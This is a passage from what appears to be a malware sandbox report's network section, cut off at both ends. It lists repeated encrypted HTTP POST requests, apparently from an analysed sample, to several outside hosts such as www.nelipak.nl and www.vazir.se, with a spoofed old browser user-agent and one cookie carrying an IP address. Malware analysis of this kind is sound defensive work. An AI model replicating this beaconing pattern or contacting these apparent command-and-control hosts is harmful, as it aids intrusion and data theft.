6b 36 66 58 34 61 69 52 6d 47 38 56 4c 54 54 65 4b 51 44 4e 70 66 41 41 56 46 47 4c 38 7a 6c 72 6c 30 71 6f 4a 55 42 64 62 45 4c 52 67 73 41 6a 43 4d 52 42 4d 71 54 6c 61 67 57 48 6c 65 4b 75 5a 47 67 55 79 55 64 4f 4a 74 53 71 2f 4e 6f 37 33 46 56 77 4d 71 6b 57 52 37 76 67 46 53 75 30 49 33 7a 51 75 74 78 54 31 4e 5a 39 67 38 39 38 4d 63 51 61 79 69 32 79 6d 45 45 72 38 64 79 61 2f 34 55 74 56 6f 75 78 37 79 6e 71 51 52 6b 30 71 31 44 62 Data Ascii: COwREoNN4wtiq5noihWn+axq4YkpWntFZ8uUvzYk4NpAwW1MBRJPvHP/z9Xe/w0Xni0Hi16dQN1TjGN2bNaBwAZsq0Du0AET9Da51vIfYpM1h7jvQhckd7/oGnhKzXBGvN3UEa3l61GtEkRI4cAaEXJeBkJ3pJIwY5l1VB+PZ449Dvn0LRr1IN4zS8EjwSmmKdYQSc60YnzD3sBGNCb0U/LRSb2CWL6skzsEpTJZHrFO21NAEoouM2ZMBUL/Q22g3llScVHVoPD87gm7E100N8U6fA3wyzoK4wnwhWVmGXS50ZfO6/IbaHKsW5OuYzbTp5T8eOW6gBZ7NjgTEXD2tWqJ+JC4s0lSmEXxfCvof9adFBXkmfysjPB8kKgPYsrskWEoF3G0vndR9ruxPNOv5RAuqxV01oVh8TbUk6fX4aiRmG8VLTTeKQDNpfAAVFGL8zlrl0qoJUBdbELRgsAjCMRBMqTlagWHleKuZGgUyUdOJtSq/No73FVwMqkWR7vgFSu0I3zQutxT1NZ9g898McQayi2ymEEr8dya/4UtVoux7ynqQRk0q1Db
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 35 57 4e 4a 62 31 34 58 53 67 7a 50 4d 38 74 61 71 5a 65 76 71 55 46 63 4c 35 4f 65 56 4b 54 4a 63 73 56 30 31 58 7a 61 35 2f 32 62 6f 71 4a 53 48 6a 37 55 4b 75 6a 2f 6a 4e 72 52 58 6e 45 69 54 48 53 74 79 72 43 77 52 4f 38 63 48 46 72 4a 64 42 32 65 49 68 72 57 57 4c 2f 56 70 64 5a 37 55 54 2f 36 30 48 62 2f 72 76 2b 43 2f 30 48 38 36 44 59 79 41 4a 39 79 79 70 71 49 68 75 6d 36 64 77 4a 6c 47 2f 4a 5a 45 41 58 51 68 36 72 43 6c 74 56 72 70 4a 2f 6a 62 48 77 70 67 69 41 6d 6d 71 57 43 62 34 53 5a 69 77 42 2b 49 66 65 6e 61 44 41 2b 76 2f 70 34 78 53 2f 68 7a 66 4e 4c 57 4b 69 43 6d 43 33 6d 6d 39 42 71 6a 6a 6f 6c 4b 6f 35 6d 78 68 63 7a 6c 34 4b 30 47 6b 68 6e 4c 6b 2f 35 51 43 6a 43 74 32 2b 4f 50 62 37 58 4c 68 4c 4a 44 39 61 32 62 44 55 79 32 59 69 4f 76 64 6a 37 46 48 77 48 79 49 52 62 45 36 45 4b 45 2b 54 46 62 75 50 36 69 2b 36 74 46 41 2b 6b 4a 35 34 33 34 72 46 63 69 5a 68 57 33 76 2f 44 4d 74 50 53 6f 77 38 73 72 58 57 64 2f 41 47 53 2b 56 4f 76 59 4d 55 73 2b 4f 77 79 56 45 75 41 63 77 70 33 76 73 48 32 56 53 6b 49 42 53 53 43 62 35 45 78 32 7a 47 55 34 4c 6a 66 2f 4b 6b 63 74 2f 32 44 30 67 6c 54 4d 77 5a 73 49 4c 72 62 53 41 32 72 61 38 73 43 68 56 64 44 67 46 4a 71 76 4f 38 4d 70 63 45 68 6e 74 6e 73 53 72 47 44 68 50 70 64 59 67 4a 74 31 58 7a 45 6d 4a 71 6f 32 68 43 79 36 36 4a 76 33 71 4b 54 65 4d 62 67 47 52 4e 66 4f 36 6a 57 5a 5a 36 69 74 2f 51 4a 42 41 6a 6d 39 4d 4e 6a 6d 30 6d 55 7a 51 32 48 5a 5a 46 4b 72 49 4b 6e 38 4d 6a 37 39 66 51 2b 32 75 49 75 30 31 5a 4b 49 59 49 46 30 61 42 4b 4e 34 4b 2f 4d 36 75 53 43 44 31 35 42 65 6f 79 52 35 54 69 4d 46 39 6a 68 7a 6c 59 34 61 2f 6d 79 71 6c 65 6a 31 57 51 33 61 76 38 50 53 33 4a 52 4a 75 32 46 51 6e 62 77 79 6c 45 68 76 59 53 45 4a 61 49 5a 4e 49 46 58 35 69 76 59 2b 45 3d Data Ascii: 5WNJb14XSgzPM8taqZevqUFcL5OeVKTJcsV01Xza5/2boqJSHj7UKuj/jNrRXnEiTHStyrCwRO8cHFrJdB2eIhrWWL/VpdZ7UT/60Hb/rv+C/0H86DYyAJ9yypqIhum6dwJlG/JZEAXQh6rCltVrpJ/jbHwpgiAmmqWCb4SZiwB+IfenaDA+v/p4xS/hzfNLWKiCmC3mm9BqjjolKo5mxhczl4K0GkhnLk/5QCjCt2+OPb7XLhLJD9a2bDUy2YiOvdj7FHwHyIRbE6EKE+TFbuP6i+6tFA+kJ5434rFciZhW3v/DMtPSow8srXWd/AGS+VOvYMUs+OwyVEuAcwp3vsH2VSkIBSSCb5Ex2zGU4Ljf/Kkct/2D0glTMwZsILrbSA2ra8sChVdDgFJqvO8MpcEhntnsSrGDhPpdYgJt1XzEmJqo2hCy66Jv3qKTeMbgGRNfO6jWZZ6it/QJBAjm9MNjm0mUzQ2HZZFKrIKn8Mj79fQ+2uIu01ZKIYIF0aBKN4K/M6uSCD15BeoyR5TiMF9jhzlY4a/myqlej1WQ3av8PS3JRJu2FQnbwylEhvYSEJaIZNIFX5ivY+E=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 45 71 47 6d 71 48 78 45 56 41 79 55 6a 32 37 74 4a 39 55 62 49 41 2f 74 72 64 49 55 77 2b 47 55 63 4b 55 63 61 37 55 45 42 4d 77 6c 72 45 6c 52 35 34 56 2f 31 4a 54 58 4a 39 37 68 31 6e 4d 70 6a 50 50 38 39 33 61 38 65 41 52 59 4c 50 37 53 35 49 58 66 41 75 34 6d 6f 71 72 71 73 6a 79 6b 2f 6c 39 65 74 53 74 6c 76 6f 72 57 68 37 31 56 50 57 7a 4f 66 4e 73 46 4b 39 65 71 37 76 46 70 51 35 35 4b 6b 43 72 33 74 79 6c 6d 70 63 56 53 35 70 4d 78 30 6f 67 46 63 73 39 6d 33 56 62 34 76 57 46 42 46 32 54 42 41 4f 42 4d 39 6f 55 59 73 53 77 4b 6a 30 34 34 48 6f 52 39 57 5a 4a 68 31 6e 49 39 33 46 41 2f 69 6b 32 59 6c 56 6a 52 54 39 62 50 4b 62 70 74 52 59 32 45 45 4d 6e 66 45 34 76 47 62 2b 73 44 44 70 2b 37 66 50 6e 6f 5a 48 39 57 38 64 42 63 73 78 55 62 42 43 42 75 62 44 45 58 78 36 32 34 44 58 64 75 34 37 2b 79 59 30 7a 63 6f 70 31 71 65 54 38 71 50 71 53 63 32 4d 48 37 57 69 78 4e 59 69 51 6e 31 71 38 69 4e 47 68 47 4c 38 58 6a 4d 42 36 4a 48 4d 62 43 7a 69 41 47 48 58 6b 5a 79 55 50 70 2b 36 69 33 70 50 35 76 54 50 66 7a 32 73 42 47 53 59 50 34 76 53 61 64 30 46 4a 6e 66 77 36 44 2b 55 6c 42 4d 59 58 6e 35 4f 5a 47 77 51 42 49 74 65 46 2f 48 67 6d 73 4d 78 58 70 75 47 65 75 50 77 74 4d 6b 62 72 64 72 46 56 62 66 41 78 77 41 4b 77 67 73 41 4d 37 6c 51 62 4b 46 63 43 38 37 6c 71 42 68 59 4b 6a 75 43 51 32 61 42 79 44 53 78 55 64 2f 4c 42 6f 32 72 65 79 6c 73 70 6a 51 69 79 62 6b 31 34 61 4f 7a 75 32 62 6e 5a 51 46 6e 71 34 6e 65 34 30 31 5a 4d 47 7a 35 55 55 41 42 73 62 4a 65 6b 70 47 4d 51 31 7a 5a 4b 6c 46 47 41 6e 46 43 4f 32 51 62 6e 6d 45 4f 30 53 55 35 55 3d Data Ascii: EqGmqHxEVAyUj27tJ9UbIA/trdIUw+GUcKUca7UEBMwlrElR54V/1JTXJ97h1nMpjPP893a8eARYLP7S5IXfAu4moqrqsjyk/l9etStlvorWh71VPWzOfNsFK9eq7vFpQ55KkCr3tylmpcVS5pMx0ogFcs9m3Vb4vWFBF2TBAOBM9oUYsSwKj044HoR9WZJh1nI93FA/ik2YlVjRT9bPKbptRY2EEMnfE4vGb+sDDp+7fPnoZH9W8dBcsxUbBCBubDEXx624DXdu47+yY0zcop1qeT8qPqSc2MH7WixNYiQn1q8iNGhGL8XjMB6JHMbCziAGHXkZyUPp+6i3pP5vTPfz2sBGSYP4vSad0FJnfw6D+UlBMYXn5OZGwQBIteF/HgmsMxXpuGeuPwtMkbrdrFVbfAxwAKwgsAM7lQbKFcC87lqBhYKjuCQ2aByDSxUd/LBo2reylspjQiybk14aOzu2bnZQFnq4ne401ZMGz5UUABsbJekpGMQ1zZKlFGAnFCO2QbnmEO0SU5U=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 6e 51 47 56 43 4e 65 30 33 6c 62 42 68 4b 53 67 78 73 7a 4b 43 69 44 4e 57 6f 6b 4e 39 73 75 65 2b 32 58 71 33 48 38 55 42 4d 37 4b 44 66 2b 47 4c 67 39 41 38 5a 47 79 51 65 50 5a 4d 42 33 35 51 59 46 63 42 72 71 49 44 64 77 51 77 48 2f 41 70 4d 6f 7a 6a 7a 43 57 73 45 31 39 69 2b 75 75 4b 39 45 63 6a 62 56 6c 66 76 30 41 4c 46 77 72 76 6c 75 6c 39 31 44 47 6a 2f 6d 73 62 2b 43 49 44 48 2f 77 42 49 6e 68 31 53 64 2f 31 33 34 53 73 78 41 37 66 32 62 76 73 74 46 2f 4b 47 51 61 75 57 63 37 79 2b 7a 39 31 5a 70 2b 78 38 39 59 4e 62 5a 59 4b 37 5a 2f 70 46 65 69 47 37 6b 69 49 6e 36 63 42 41 74 50 62 74 65 57 42 6d 78 30 4c 46 59 59 34 35 48 36 73 4d 43 69 49 56 75 69 5a 70 73 65 68 66 77 36 48 46 37 6f 42 75 5a 30 30 61 5a 61 4b 53 32 75 68 42 2b 69 78 53 6f 48 4e 31 41 54 68 61 4c 58 4e 54 6e 4b 4c 4a 54 54 48 7a 36 4f 57 46 70 47 73 49 4f 47 67 64 43 44 6c 5a 66 72 78 47 2b 72 53 65 69 78 46 73 43 58 76 70 72 4f 62 4d 39 30 68 54 74 4f 59 49 77 2b 4e 69 44 50 4c 76 45 42 53 38 43 37 56 30 39 31 58 71 46 55 6e 35 35 4c 7a 61 50 57 67 74 79 56 72 52 71 75 6c 65 59 58 70 54 30 30 6a 73 49 7a 39 33 6e 35 53 5a 31 70 58 61 55 55 4a 42 44 77 47 6c 58 52 53 33 66 41 5a 37 63 49 46 73 54 31 48 4f 36 35 33 4b 72 6e 2b 4a 2b 57 61 55 58 66 2f 39 4e 67 73 4f 31 66 39 52 59 38 49 61 35 62 62 61 61 6c 66 33 6f 33 66 72 41 43 2b 30 57 34 50 58 47 2b 56 6f 31 62 35 32 68 2f 54 7a 54 55 42 4d 30 4c 4b 66 47 33 69 54 6c 76 77 42 59 50 38 65 48 31 6b 38 65 76 64 59 4a 62 2b 6f 67 55 66 4a 75 7a 64 7a 68 59 53 52 58 49 76 78 6b 2b 35 62 4c 47 39 74 64 6c 2b 36 67 72 47 65 75 6e 46 34 79 43 41 78 33 7a 4e 31 47 2b 45 68 6b 36 6c 76 35 6d 4b 4f 6b 73 33 48 70 55 71 54 58 47 70 77 68 6f 51 48 4b 7a 52 34 45 33 71 5a 7a 58 Data Ascii: nQGVCNe03lbBhKSgxszKCiDNWokN9sue+2Xq3H8UBM7KDf+GLg9A8ZGyQePZMB35QYFcBrqIDdwQwH/ApMozjzCWsE19i+uuK9EcjbVlfv0ALFwrvlul91DGj/msb+CIDH/wBInh1Sd/134SsxA7f2bvstF/KGQauWc7y+z91Zp+x89YNbZYK7Z/pFeiG7kiIn6cBAtPbteWBmx0LFYY45H6sMCiIVuiZpsehfw6HF7oBuZ00aZaKS2uhB+ixSoHN1AThaLXNTnKLJTTHz6OWFpGsIOGgdCDlZfrxG+rSeixFsCXvprObM90hTtOYIw+NiDPLvEBS8C7V091XqFUn55LzaPWgtyVrRquleYXpT00jsIz93n5SZ1pXaUUJBDwGlXRS3fAZ7cIFsT1HO653Krn+J+WaUXf/9NgsO1f9RY8Ia5bbaalf3o3frAC+0W4PXG+Vo1b52h/TzTUBM0LKfG3iTlvwBYP8eH1k8evdYJb+ogUfJuzdzhYSRXIvxk+5bLG9tdl+6grGeunF4yCAx3zN1G+Ehk6lv5mKOks3HpUqTXGpwhoQHKzR4E3qZzX
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 73 55 63 34 42 43 53 4b 32 67 76 6a 4a 64 51 6d 76 30 38 57 5a 2f 64 49 47 68 6a 63 72 61 68 42 6d 4b 6c 73 49 35 63 30 6f 66 61 6e 54 2b 53 6c 7a 71 4b 53 67 37 49 62 39 42 36 4f 4b 79 4d 43 55 44 49 5a 4c 67 76 7a 47 64 68 33 53 49 5a 56 51 31 68 71 4b 74 32 37 56 69 63 6d 4e 37 69 30 57 31 62 68 53 78 39 42 6f 37 76 6c 6c 56 57 74 4e 30 49 4d 6b 52 38 4c 4a 79 61 4e 55 7a 6c 7a 31 52 73 72 68 76 44 59 64 67 52 4c 56 46 6a 39 70 76 4a 4f 72 6c 55 48 5a 6b 52 4e 32 64 69 55 33 73 41 7a 74 57 55 47 55 6d 76 56 74 58 43 66 58 34 78 75 51 4a 42 64 74 4c 4a 7a 77 69 59 71 33 46 79 4f 6c 6f 66 4d 44 58 76 58 7a 34 43 48 70 63 4a 63 62 50 30 35 39 64 64 57 34 53 75 49 62 4e 51 41 50 73 53 75 61 65 35 66 36 71 4b 69 69 44 61 52 79 64 2f 5a 79 2f 4b 4e 79 76 58 78 75 72 4f 39 55 49 6a 45 36 69 63 67 4d 61 62 6a 36 73 67 79 79 39 44 42 6d 69 77 63 53 6c 76 55 6c 59 37 77 4b 51 42 38 34 2b 5a 39 56 7a 4b 74 34 5a 6c 53 63 35 2b 6e 39 39 73 56 6d 31 35 75 6a 71 54 61 54 45 6c 43 6c 6a 4f 34 6d 68 55 62 6f 63 6f 65 5a 66 52 53 62 78 73 4a 66 2f 74 45 63 43 67 68 4b 4c 4c 69 56 38 6e 76 6d 35 45 6c 34 67 30 76 38 7a 49 34 4b 4f 4d 36 51 31 4e 48 45 36 6b 64 36 58 57 30 44 5a 62 5a 4c 6d 4e 4e 75 55 79 32 4d 30 41 50 51 61 79 51 52 6d 64 47 30 4d 50 61 76 4a 77 43 71 32 36 63 46 42 2b 38 48 56 55 5a 36 70 33 2f 77 7a 34 72 4c 32 71 47 2f 42 79 67 72 32 39 49 67 43 70 54 41 33 54 36 78 55 57 55 39 6c 56 30 34 64 66 48 4b 67 4f 53 47 50 45 62 6e 32 2b 58 61 6c 67 5a 64 71 4c 64 58 47 79 4f 32 45 73 57 4d 57 4b 69 55 69 70 4c 52 74 33 42 53 63 35 42 42 68 4a 36 53 67 71 53 78 56 58 6a 39 67 3d 3d Data Ascii: sUc4BCSK2gvjJdQmv08WZ/dIGhjcrahBmKlsI5c0ofanT+SlzqKSg7Ib9B6OKyMCUDIZLgvzGdh3SIZVQ1hqKt27VicmN7i0W1bhSx9Bo7vllVWtN0IMkR8LJyaNUzlz1RsrhvDYdgRLVFj9pvJOrlUHZkRN2diU3sAztWUGUmvVtXCfX4xuQJBdtLJzwiYq3FyOlofMDXvXz4CHpcJcbP059ddW4SuIbNQAPsSuae5f6qKiiDaRyd/Zy/KNyvXxurO9UIjE6icgMabj6sgyy9DBmiwcSlvUlY7wKQB84+Z9VzKt4ZlSc5+n99sVm15ujqTaTElCljO4mhUbocoeZfRSbxsJf/tEcCghKLLiV8nvm5El4g0v8zI4KOM6Q1NHE6kd6XW0DZbZLmNNuUy2M0APQayQRmdG0MPavJwCq26cFB+8HVUZ6p3/wz4rL2qG/Bygr29IgCpTA3T6xUWU9lV04dfHKgOSGPEbn2+XalgZdqLdXGyO2EsWMWKiUipLRt3BSc5BBhJ6SgqSxVXj9g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 54 69 51 41 6d 6c 70 6e 33 77 75 36 62 41 52 36 66 51 36 2f 38 5a 32 35 6e 78 68 4b 79 6f 64 7a 4c 72 64 50 2f 69 77 34 44 73 32 30 51 47 32 48 66 54 49 61 75 4e 49 31 2f 45 70 6f 33 39 4b 50 55 65 64 4a 68 70 51 49 52 6f 66 51 48 32 62 67 58 33 58 65 35 6b 58 6e 65 37 79 7a 7a 48 53 6b 66 69 64 31 44 51 72 6d 34 71 61 72 53 47 69 62 67 48 63 63 67 34 54 4c 6f 30 47 54 33 56 45 4e 6c 65 79 46 56 78 47 74 48 53 76 6e 35 50 34 58 63 39 5a 76 6f 47 64 65 36 48 75 46 62 31 66 66 4c 47 35 41 37 79 75 62 44 34 6f 63 52 43 34 6c 6e 45 36 36 6c 68 51 66 2b 32 48 61 70 6e 49 62 66 36 5a 34 32 35 67 35 71 4e 37 77 61 38 59 52 32 79 72 77 4c 61 6f 31 70 6d 32 30 45 79 73 33 58 61 73 4c 35 46 41 66 58 4c 2b 30 69 74 32 78 48 36 54 55 58 6a 72 45 6a 51 53 46 41 59 77 68 66 56 66 6d 58 4c 59 47 7a 6d 77 53 38 48 4f 69 57 4d 62 75 66 4e 4b 50 63 31 2b 4e 55 46 68 42 5a 47 43 79 43 34 7a 30 68 43 37 4c 56 4c 49 52 46 4a 37 6a 6a 70 57 77 62 4a 58 4c 7a 6b 47 75 31 6e 35 57 36 52 70 6f 35 74 4c 4e 58 2f 4b 4c 6b 63 65 70 42 53 77 44 59 62 54 69 69 68 32 31 46 50 4b 30 34 50 67 31 6a 58 76 63 6a 41 79 39 50 73 4c 33 36 2b 64 37 36 39 65 77 6a 6c 6a 51 56 2b 41 74 4c 71 72 6b 77 6e 52 74 7a 74 33 62 45 75 36 5a 42 71 69 6d 75 33 6a 63 4f 59 76 46 6f 4d 4f 79 66 57 76 5a 53 55 76 48 6a 48 39 53 30 41 4a 37 42 42 2f 48 31 54 46 4d 50 6d 70 35 42 4e 74 4c 36 38 51 6a 56 38 53 6e 31 2f 74 2f 2f 4d 61 4a 57 45 73 47 67 70 67 38 76 35 6a 68 68 51 30 6d 43 62 79 52 34 55 4e 44 4d 4c 51 73 44 6a 49 30 6d 2f 75 54 79 38 52 79 36 37 51 75 6d 55 79 73 6f 75 4e 4e 75 5a 54 68 32 48 61 50 69 48 55 31 4f 71 37 67 68 2f 2b 37 62 39 71 57 61 6b 6e 32 4e 58 57 53 74 65 59 36 37 4d 34 7a 6d 6a 6a 39 4c 31 77 54 44 57 7a 4a Data Ascii: TiQAmlpn3wu6bAR6fQ6/8Z25nxhKyodzLrdP/iw4Ds20QG2HfTIauNI1/Epo39KPUedJhpQIRofQH2bgX3Xe5kXne7yzzHSkfid1DQrm4qarSGibgHccg4TLo0GT3VENleyFVxGtHSvn5P4Xc9ZvoGde6HuFb1ffLG5A7yubD4ocRC4lnE66lhQf+2HapnIbf6Z425g5qN7wa8YR2yrwLao1pm20Eys3XasL5FAfXL+0it2xH6TUXjrEjQSFAYwhfVfmXLYGzmwS8HOiWMbufNKPc1+NUFhBZGCyC4z0hC7LVLIRFJ7jjpWwbJXLzkGu1n5W6Rpo5tLNX/KLkcepBSwDYbTiih21FPK04Pg1jXvcjAy9PsL36+d769ewjljQV+AtLqrkwnRtzt3bEu6ZBqimu3jcOYvFoMOyfWvZSUvHjH9S0AJ7BB/H1TFMPmp5BNtL68QjV8Sn1/t//MaJWEsGgpg8v5jhhQ0mCbyR4UNDMLQsDjI0m/uTy8Ry67QumUysouNNuZTh2HaPiHU1Oq7gh/+7b9qWakn2NXWSteY67M4zmjj9L1wTDWzJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 48 6f 74 42 6d 36 62 45 5a 6c 62 77 56 71 45 4a 51 52 4d 33 78 73 6d 67 49 79 36 47 6a 36 47 73 4f 74 73 57 48 78 69 47 6d 7a 77 53 70 47 74 4b 63 34 65 5a 75 4f 48 64 4b 6d 70 46 36 4d 64 4c 50 55 6f 47 47 54 43 6a 6c 75 62 63 71 77 33 74 47 31 34 53 76 4b 63 4a 48 2b 36 5a 67 4c 6e 59 4b 59 44 64 44 73 5a 58 4b 4f 4d 5a 58 6d 52 70 4b 71 70 32 33 4f 46 44 5a 6f 36 57 67 34 46 65 68 4c 2f 4c 6b 72 7a 68 73 33 2b 64 4a 31 55 49 42 55 75 65 57 4b 4e 59 59 33 68 69 4c 42 48 58 75 57 63 55 6c 77 36 76 30 66 6a 39 66 78 68 42 48 67 52 36 6f 43 44 42 44 32 30 4b 4b 41 73 6e 6b 79 70 52 54 64 78 5a 64 79 53 48 4f 6d 35 43 4c 6c 2b 59 53 64 42 55 63 30 66 76 31 4f 2f 32 35 62 4f 31 2f 4f 54 30 4e 51 63 2b 4c 54 4b 69 53 65 31 6c 47 57 48 41 61 6a 4d 54 64 4e 73 78 71 37 62 63 76 4b 46 30 44 70 4c 6f 74 71 46 6e 2b 55 7a 31 61 31 68 58 4f 58 49 59 65 77 45 67 34 73 33 41 43 6c 61 55 6a 43 2b 36 33 52 41 43 64 62 68 36 6c 34 77 2b 79 44 4d 70 77 6e 75 38 49 36 79 56 42 76 46 4f 42 6c 4e 4b 37 68 6d 4c 41 74 5a 73 35 41 53 42 4d 77 34 72 70 4d 73 73 47 52 45 54 74 6b 58 7a 6b 34 57 6d 4a 71 70 67 46 44 63 6e 6c 49 45 79 47 4c 30 67 74 53 35 6f 62 36 6c 63 37 73 33 76 78 44 65 58 6c 74 57 59 49 5a 54 46 54 49 45 4f 44 4d 36 43 39 62 73 4b 71 46 2f 63 69 79 6b 4f 59 4a 71 65 6f 38 2f 71 68 43 57 61 75 35 4a 61 54 4f 44 65 36 33 73 38 34 33 35 2f 6f 66 6b 4e 51 41 30 45 77 48 77 35 39 50 47 33 52 65 51 6f 47 49 51 61 42 74 4c 59 49 43 39 6e 4e 6c 47 2b 6f 49 5a 47 36 78 59 61 35 6f 6e 36 76 57 76 48 64 6b 70 39 41 75 33 54 35 49 6b 30 4b 4e 38 4d 45 47 69 36 67 39 42 6b 34 73 6f 4b 4f 75 73 55 48 31 53 4b 4d 39 6d 4b 34 4c 52 57 38 4c 58 32 41 62 71 57 75 34 49 69 44 32 65 36 6c 70 39 73 5a 46 54 42 74 74 70 66 46 67 4f 48 67 6a 59 61 64 51 3d 3d Data Ascii: HotBm6bEZlbwVqEJQRM3xsmgIy6Gj6GsOtsWHxiGmzwSpGtKc4eZuOHdKmpF6MdLPUoGGTCjlubcqw3tG14SvKcJH+6ZgLnYKYDdDsZXKOMZXmRpKqp23OFDZo6Wg4FehL/Lkrzhs3+dJ1UIBUueWKNYY3hiLBHXuWcUlw6v0fj9fxhBHgR6oCDBD20KKAsnkypRTdxZdySHOm5CLl+YSdBUc0fv1O/25bO1/OT0NQc+LTKiSe1lGWHAajMTdNsxq7bcvKF0DpLotqFn+Uz1a1hXOXIYewEg4s3AClaUjC+63RACdbh6l4w+yDMpwnu8I6yVBvFOBlNK7hmLAtZs5ASBMw4rpMssGRETtkXzk4WmJqpgFDcnlIEyGL0gtS5ob6lc7s3vxDeXltWYIZTFTIEODM6C9bsKqF/ciykOYJqeo8/qhCWau5JaTODe63s8435/ofkNQA0EwHw59PG3ReQoGIQaBtLYIC9nNlG+oIZG6xYa5on6vWvHdkp9Au3T5Ik0KN8MEGi6g9Bk4soKOusUH1SKM9mK4LRW8LX2AbqWu4IiD2e6lp9sZFTBttpfFgOHgjYadQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 6f 44 31 68 58 42 74 4c 6a 6c 59 50 57 65 53 56 4d 6f 55 34 71 51 52 77 4a 57 6d 68 30 30 43 68 66 35 34 61 69 70 46 72 58 48 75 54 50 55 6b 7a 49 2f 57 4b 49 62 6f 6d 66 5a 6b 51 59 61 79 31 37 6b 6c 6a 45 61 58 68 66 54 39 36 49 2b 2f 66 6e 4c 4a 32 43 57 30 61 50 6e 70 6d 6a 52 72 61 63 59 4d 45 48 53 75 4a 42 48 6b 72 79 63 54 49 71 4f 36 59 4a 32 4e 2f 42 2f 41 75 39 6d 75 6b 48 57 50 73 35 46 64 39 67 61 38 75 4e 78 51 79 50 71 4e 71 74 2f 57 47 41 4f 74 75 50 65 4e 41 55 36 61 70 41 6b 2b 4e 65 6e 37 6f 58 37 30 64 66 51 36 63 76 46 5a 47 4f 78 74 6f 35 34 58 62 62 52 7a 68 69 52 46 33 34 74 42 47 7a 2f 53 4a 47 4a 45 4e 61 2f 48 72 38 42 4f 62 72 51 70 5a 57 34 5a 71 56 55 42 72 2f 6c 48 6c 58 74 38 51 63 59 70 32 62 73 54 68 52 52 65 6f 41 77 73 6f 35 6b 74 4f 53 47 79 54 42 46 6a 47 42 39 7a 57 64 75 7a 70 59 46 4d 45 76 31 2f 50 4e 58 4f 2b 39 62 67 37 66 47 61 39 6a 63 44 48 46 50 71 78 51 50 44 30 4b 58 64 63 74 70 58 38 51 6e 70 2f 39 50 35 64 47 52 50 48 43 63 45 50 58 5a 69 53 5a 6c 46 6b 42 48 39 70 65 34 68 62 6f 71 6d 4d 75 50 5a 48 56 47 58 46 37 79 4e 72 56 4d 54 69 39 2f 2b 64 4e 33 54 6c 61 74 38 78 4d 6c 44 50 41 46 79 52 42 57 45 4e 78 65 78 71 46 6a 68 2f 31 79 35 30 4d 73 39 6a 34 49 6d 46 38 69 36 49 2f 45 42 39 62 71 45 73 71 39 64 63 57 57 63 72 6e 45 39 6a 49 36 2b 74 77 56 6f 30 35 4a 35 42 64 43 2b 2f 71 4b 56 47 47 33 53 69 6e 4a 6d 62 5a 61 35 6d 36 71 46 38 72 47 69 55 75 74 50 65 79 65 72 66 49 66 45 2f 37 47 4f 4e 49 52 39 6b 63 75 70 34 37 51 47 6d 32 76 47 55 57 38 76 6b 4c 55 68 38 7a 43 54 58 46 32 76 6b 78 53 30 52 35 52 4a 43 37 49 2f 48 69 2b 45 32 5a 78 67 3d Data Ascii: oD1hXBtLjlYPWeSVMoU4qQRwJWmh00Chf54aipFrXHuTPUkzI/WKIbomfZkQYay17kljEaXhfT96I+/fnLJ2CW0aPnpmjRracYMEHSuJBHkrycTIqO6YJ2N/B/Au9mukHWPs5Fd9ga8uNxQyPqNqt/WGAOtuPeNAU6apAk+Nen7oX70dfQ6cvFZGOxto54XbbRzhiRF34tBGz/SJGJENa/Hr8BObrQpZW4ZqVUBr/lHlXt8QcYp2bsThRReoAwso5ktOSGyTBFjGB9zWduzpYFMEv1/PNXO+9bg7fGa9jcDHFPqxQPD0KXdctpX8Qnp/9P5dGRPHCcEPXZiSZlFkBH9pe4hboqmMuPZHVGXF7yNrVMTi9/+dN3Tlat8xMlDPAFyRBWENxexqFjh/1y50Ms9j4ImF8i6I/EB9bqEsq9dcWWcrnE9jI6+twVo05J5BdC+/qKVGG3SinJmbZa5m6qF8rGiUutPeyerfIfE/7GONIR9kcup47QGm2vGUW8vkLUh8zCTXF2vkxS0R5RJC7I/Hi+E2Zxg=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vazir.seCache-Control: no-cacheCookie: btst=5d3dcc97c0c1a425f99b0cbaf502b030\|173.254.250.81\|1729847855\|1729847855\|0\|1\|0; snkz=173.254.250.81Data Raw: 64 50 77 78 70 78 67 70 62 51 79 52 5a 39 73 70 47 35 6d 78 58 77 76 6f 5a 4e 76 67 75 63 68 77 7a 4f 55 36 65 53 64 4c 37 37 63 44 58 52 31 31 34 57 6c 50 75 63 62 43 63 4c 74 78 77 39 63 5a 52 53 56 34 30 70 56 6f 61 6b 6d 6f 43 42 67 2b 42 67 6d 54 4c 73 51 77 58 4c 6b 53 6b 49 6e 6d 5a 4e 54 74 33 38 4b 4d 36 79 30 4c 71 66 54 70 45 63 2f 6b 58 44 37 65 35 7a 41 49 35 